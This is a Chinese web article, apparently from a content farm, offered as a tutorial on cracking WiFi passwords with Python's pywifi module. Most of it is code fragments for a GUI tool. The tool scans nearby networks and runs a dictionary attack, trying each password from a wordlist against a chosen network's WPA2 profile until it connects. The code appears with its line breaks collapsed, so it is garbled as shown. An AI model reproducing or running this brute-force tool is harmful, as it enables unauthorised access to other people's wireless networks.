首页
/
每日頭條
/
生活
/
密碼設置複雜的wifi
密碼設置複雜的wifi
更新时间:2025-07-08 18:39:52

現在每個家庭都有WiFi!大家都以為為了防止别人蹭WiFi密碼設置複雜一點,萬能鑰匙就破解不了!今天給大家看看python工程師是怎麼破解WiFi密碼的!今天利用python中的pywifi模塊來寫這個程序!上教程

密碼設置複雜的wifi(WiFi密碼設置複雜了)1

一、獲取密碼文件的路徑

self.get_value = StringVar()

二、獲取WiFi賬号

self.get_wifi_value = StringVar()

三、獲取WiFi密碼

self.get_wifimm_value = StringVar()

四、抓取網卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一個無線網卡

self.iface = self.wifi.interfaces()[0]

六、測試連接斷開所有鍊接

self.iface.disconnect()

七、測試網卡是否屬于斷開狀态

assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

密碼設置複雜的wifi(WiFi密碼設置複雜了)2

八、自動會調用的函數,返回自身的網卡

return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

九、搜索WiFi

#開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scan()time.sleep(15)#在若幹秒後獲取掃描結果scanres = self.iface.scan_results()#統計附近被發現的熱點數量nums = len(scanres)print("數量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據self.show_scans_wifi_list(scanres)return scanres

十、添加密碼文件目錄

self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)

十一、Treeview綁定事件

self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

十二、讀取密碼字典,進行匹配

def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue

十三、對wifi和密碼進行匹配

#創建wifi鍊接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設定新的鍊接文件self.iface.connect(self.tmp_profile)#鍊接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #斷開time.sleep(1)#檢查斷開狀态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

運行結果

密碼設置複雜的wifi(WiFi密碼設置複雜了)3

密碼設置複雜的wifi(WiFi密碼設置複雜了)4

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
抑郁症會發展成精神分裂症嗎
抑郁症會發展成精神分裂症嗎
我們不主張應用“精神病”這一稱謂,因為這個稱謂已經成了一個貶義詞,不适合作為醫療術語。大多數人所說的精神病,一般可以診斷為精神分裂症,所以本文就以精神分裂症為例加以說明。首先大家要知道,抑郁症和精神分裂症都屬于精神障礙疾病,但是,他們是兩組...
2025-07-08
南宋最有氣節的詩詞
南宋最有氣節的詩詞
南宋最有氣節的詩詞?三十功名塵與土,八千裡路雲和月,今天小編就來說說關于南宋最有氣節的詩詞?下面更多詳細答案一起來看看吧!南宋最有氣節的詩詞1.滿江紅·寫懷/嶽飛怒發沖冠,憑欄處、潇潇雨歇。擡望眼,仰天長嘯,壯懷激烈。三十功名塵與土,八千裡...
2025-07-08
超量捕殺
超量捕殺
來源:十堰晚報蚯蚓幹,又叫地龍幹,是一種中藥藥材。近年來随着它的價格不斷上漲,網上一種名為“電蚯蚓機”的機器銷量也随之上漲,一條對蚯蚓進行“滅絕式”捕殺的利益鍊開始催生。1蚯蚓幹藥材價格暴漲電蚯蚓機“滅絕式”捕殺現象頻出記者搜索“電蚯蚓機”...
2025-07-08
新冠疫苗2針不同的廠家要緊嗎
新冠疫苗2針不同的廠家要緊嗎
新冠疫苗2針不同的廠家要緊嗎?沒有特别影響,隻是國家建議優先用同一類型、同一廠家的疫苗打完2針但是,比如疫苗供應不上,找不到相同廠家的苗打第2針,這時也可以用相同類型、不同廠家的疫苗打完第2針,今天小編就來聊一聊關于新冠疫苗2針不同的廠家要...
2025-07-08
所有帶四點底的字都跟漁火有關
所有帶四點底的字都跟漁火有關
四個相同疊加的字人,又,口,天,小,火,牛你認識幾個?瞬間覺得漲知識了,都不認識,好吧,大學白讀了的感覺,好憂傷!侵删,
2025-07-08
Copyright 2023-2025 - www.tftnews.com All Rights Reserved